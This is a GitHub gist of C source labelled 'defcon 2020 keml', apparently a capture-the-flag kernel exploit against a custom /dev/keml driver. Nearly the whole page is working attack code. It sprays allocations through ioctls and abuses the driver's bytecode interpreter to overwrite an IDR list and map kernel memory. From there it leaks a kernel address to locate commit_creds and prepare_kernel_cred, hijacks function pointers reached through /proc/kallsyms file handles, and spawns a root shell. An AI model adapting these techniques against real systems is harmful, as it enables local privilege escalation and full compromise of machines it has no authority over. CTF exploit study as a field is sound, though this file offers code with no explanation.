Skip to content

Instantly share code, notes, and snippets.

@int0x33
Forked from LYoungJoo/keml_exploit.c
Created May 18, 2020 12:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save int0x33/6327e4a1e0aac8391ad3b77d30e39f30 to your computer and use it in GitHub Desktop.
Save int0x33/6327e4a1e0aac8391ad3b77d30e39f30 to your computer and use it in GitHub Desktop.
defcon 2020 keml
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <time.h>
#define IOCTL1 0xC0086B01
#define IOCTL2 0xC0086B03
#define IOCTL3 0xC0046B05
int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);
void call_binsh(void)
{
execl("/bin/sh","sh",NULL);
}
void payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
enum Inst {
MOV = 0,
MOV_R = 1,
ADD = 2,
ADD_R = 3,
SUB = 4,
SUB_R = 5,
XOR = 6,
XOR_R = 7,
STR = 8,
STR_R = 9,
LDR = 10,
LDR_R = 11,
CMP = 12,
CMP_R = 13,
JMP = 14,
JMP_R = 15,
JMP_1 = 16,
JMP_2 = 18,
JMP_3 = 19,
JMP_4 = 20,
JMP_5 = 21,
PUSH_JMP = 24,
PUSH_JMP_R = 25,
POP_JMP = 26,
NOP = 27,
PUSH_R = 28,
POP = 29
};
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
struct Data1 {
int64_t len1;
void *buf1;
int64_t len2;
void *buf2;
};
int fd[100];
int fd2[100];
int id[100];
int tfd, tid;
int cnt = 0;
uint32_t make_inst(enum Inst inst, uint32_t value1, uint32_t value2) {
cnt++;
return (value2 << 16) | (value1 << 8) | inst;
}
int vmrun(int _fd, int len1, void *buf1, int len2, void *buf2) {
struct Data1 data;
int res;
printf("run inst : %x\n", len1);
data.len1 = len1;
data.buf1 = buf1;
data.len2 = len2;
data.buf2 = buf2;
if (ioctl(_fd, IOCTL2, &data) != 0) {
perror("ioctl");
}
return res;
}
void delete(int _fd, int id) {
if (ioctl(_fd, IOCTL3, id) != 0) {
perror("ioctl");
}
}
int create(int _fd, int len) {
int32_t a[2];
a[0] = len;
a[1] = 0;
if (ioctl(_fd, IOCTL1, a) != 0) {
perror("ioctl");
}
return a[1];
}
int open_dev() {
int res;
if ((res = open("/dev/keml", O_RDWR)) < 0) {
perror("fd open");
}
return res;
}
int open_kall() {
int res;
if ((res = open("/proc/kallsyms", O_RDONLY)) < 0) {
perror("fd open");
}
return res;
}
void spray() {
fd[0] = open_dev();
for (int i = 0; i < 0x80; i++) {
id[i] = create(fd[0], 0x1);
printf("id : %d\n", id[i]);
}
sleep(1);
for (int i = 0x0; i < 0x80; i++) {
delete(fd[0], id[i]);
}
sleep(1);
//close(fd[0]);
}
int main () {
void *buf1, *buf2;
uint32_t *ptr;
uint64_t *ptr2;
void *page;
char ops[0x100];
char tmp[10];
buf1 = calloc(1, 0x10000);
buf2 = calloc(1, 0x10000);
spray();
fd[1] = open_dev();
tid = create(fd[1], 0x1);
ptr = (uint32_t *)buf1;
*ptr++ = make_inst(MOV, 0, 0x1111);
for ( int i = 0; i < (0x1000/2); i++ ) {
*ptr++ = make_inst(PUSH_R, 0, 0x0);
}
*ptr++ = make_inst(MOV, 0, 0x0100);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(MOV, 0, 0x0000);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(MOV, 0, 0x0300);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(MOV, 0, 0x0000);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(PUSH_R, 0, 0x0);
*ptr++ = make_inst(MOV, 0, 0x00c0); // overwrite idr list
*ptr++ = make_inst(PUSH_R, 0, 0x0);
ptr = (uint32_t *)buf2;
*ptr = tid;
vmrun(fd[1], cnt, buf1, 0x1, buf2);
sleep(2);
id[0] = create(fd[0], 0x1); // alloc 0x1000
printf("id : %d\n", id[0]);
vmrun(fd[1], cnt, buf1, 0x1, buf2);
if ((page = mmap(NULL, 0x1000, PROT_READ, 1 , fd[0], 0x2<<12)) > 0) {
perror("mmap");
}
for (int i = 0; i < 0x100; i++) {
fd2[i] = open_kall();
}
sleep(1);
DumpHex(page, 0x1000);
ptr2 = (uint64_t *)page;
uint64_t kernel = 0x0;
uint64_t idx = 0;
for (int i = 0; i < (0x1000/8); i++) {
if ((ptr2[i] & 0xffff) == 0xe4a0) {
kernel = ptr2[i];
idx = i;
}
}
commit_creds = kernel - 0xc0e4a0 + 0x8a480;
prepare_kernel_cred = kernel - 0xc0e4a0 + 0x8a750;
printf("kernel : %lx\n", kernel);
printf("kernel : %p\n", commit_creds);
printf("kernel : %p\n", prepare_kernel_cred);
getchar();
ptr2 = (uint64_t *)&ops;
*ptr2++ = (uint64_t)&payload;
*ptr2++ = (uint64_t)&payload;
*ptr2++ = (uint64_t)&payload;
*ptr2++ = (uint64_t)&payload;
uint64_t value = (uint64_t)&ops;
printf("target : %lx\n", value);
printf("target : %lx\n", &payload);
cnt = 0;
ptr = (uint32_t *)buf1;
for (int i = 0; i < 0x8; i++) {
*ptr++ = make_inst(MOV, 0, (value & 0xff) << 8);
*ptr++ = make_inst(STR, 0, (((idx * 8) + i) << 8));
value = value >> 8;
}
ptr = (uint32_t *)buf2;
*ptr = id[0];
vmrun(fd[1], cnt, buf1, 0x1, buf2);
getchar();
for (int i = 0; i < 0x100; i++) {
read(fd2[i], tmp, 1);
close(fd2[i]);
}
call_binsh();
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment